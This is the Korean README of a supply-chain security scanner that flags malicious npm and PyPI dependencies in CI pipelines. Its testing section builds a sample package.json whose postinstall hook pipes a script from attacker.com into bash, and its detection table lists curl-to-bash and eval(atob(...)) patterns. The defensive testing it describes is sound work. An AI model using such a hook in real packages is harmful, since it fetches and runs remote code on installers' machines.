
CI/CD 파이프라인에서 패턴 매칭과 AST 분석을 사용하여 악성 종속성을 탐지하는 정적 분석 도구로, 신호등 방식의 위험 점수 시스템과 선택적 Docker 샌드박스 검증을 제공합니다.
CI/CD 파이프라인에서 코드베이스에 병합되기 전에 악성 종속성을 탐지하는 정적 분석 도구입니다.
저자: Otsmane Ahmed
상태: 연구 프로토타입 v1.0
# 1. 클론 및 설치
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
# 2. 패키지 디렉터리 스캔
python3 main_guard.py /path/to/package
도구는 SAFE, SUSPICIOUS 또는 BLOCKED 판정을 출력합니다.
npm 또는 PyPI에서 패키지를 다운로드했고 안전한지 확인하려는 경우:
# NPM 패키지
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package
# Python 패키지
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0
프로젝트에 이미 설치된 패키지 확인:
# 모든 npm 패키지 스캔
python3 main_guard.py ./node_modules
# 특정 Python 패키지 스캔
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
참고: node_modules와 같은 대규모 디렉터리를 스캔하면 시간이 더 오래 걸립니다. 더 빠른 결과를 위해 개별 패키지를 스캔하세요.
GitHub Actions 워크플로 예시:
name: Security Scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Python
uses: actions/setup-python@v4
with:
python-version: '3.10'
- name: Install CI-Guard
run: |
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
pip install -r requirements.txt
- name: Scan Dependencies
run: |
cd ci-supplychain-guard
python3 main_guard.py ../your-project-directory
악성 코드가 감지되면 파이프라인은 실패합니다(종료 코드 1).
$ python3 main_guard.py ./clean-package
Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE
악성 패턴이 감지되지 않았습니다.
$ python3 main_guard.py ./evil-package
Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
위험한 패턴(예: 셸 인젝션, 자격 증명 도용)이 감지되었습니다. 이 패키지를 설치하지 마십시오.
점수가 10 이상인 패키지는 자동으로 차단됩니다.
$ python3 main_guard.py ./suspicious-package
Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...
몇 가지 우려되는 패턴이 발견되었습니다. Docker가 실행 중이면 패키지가 격리된 샌드박스에서 테스트됩니다. 수동 검토가 권장됩니다.
CI-Guard를 테스트하려면 샘플 악성 패키지를 생성할 수 있습니다:
# 테스트 디렉터리 생성
mkdir ~/test-malicious
cd ~/test-malicious
# 악성 postinstall 훅이 있는 package.json 생성
cat > package.json << 'EOF'
{
"name": "evil-package",
"version": "1.0.0",
"scripts": {
"postinstall": "curl http://attacker.com/steal.sh | bash"
}
}
EOF
# 스캔 실행
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious
예상 출력:
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
| 생태계 | 테스트한 패키지 수 | 탐지율 |
|---|---|---|
| NPM | 15,059 | 89.6% |
| PyPI | 2,257 | 82.2% |
평균 스캔 시간: 패키지당 1~3초 (정적 분석만)
이미 설치된 패키지를 스캔할 수 있나요?
네. CI-Guard를 node_modules 디렉터리 또는 Python site-packages에 지정하세요:
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
정당한 패키지가 플래그되면 어떻게 하나요?
CI-Guard는 안전 쪽으로 오류를 범합니다. 플래그된 패키지를 신뢰하는 경우:
analyzer/static_scanner.py의 탐지 규칙 확인Windows와 macOS에서도 작동하나요?
네. Python과 Docker는 크로스 플랫폼입니다.
Docker를 설치해야 하나요?
Docker는 점수가 49인 패키지(의심스러움)에만 필요합니다. 대부분의 패키지는 명확히 안전(03)하거나 명확히 악성(10+)입니다.
CI-Guard는 3단계 '신호등' 시스템을 사용합니다:
탐지 방법:
풀 리퀘스트를 환영합니다. 새 탐지 규칙을 추가하려면:
analyzer/static_scanner.py를 편집하고 RULES 목록에 추가하세요:
{
"id": "SA-XXX",
"name": "Rule Name",
"pattern": r"regex_pattern",
"weight": 8 # Score contribution (1-10)
}
MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요.
Otsmane Ahmed - GitHub
| 공격 유형 | 예시 | 상태 |
|---|
| 셸 인젝션 | curl evil.com | bash | 탐지 |
| 자격 증명 도용 | process.env 읽기 및 외부 서버 전송 | 탐지 |
| 코드 난독화 | eval(atob('base64...')) | 탐지 |
| 악성 설치 스크립트 | NPM postinstall 훅 | 탐지 |
| 바이너리 파일 | 패키지 내 .exe, .dll | 탐지 |
| 타이포스쿼팅 | 인기 패키지와 유사한 이름 | 수동 확인 필요 |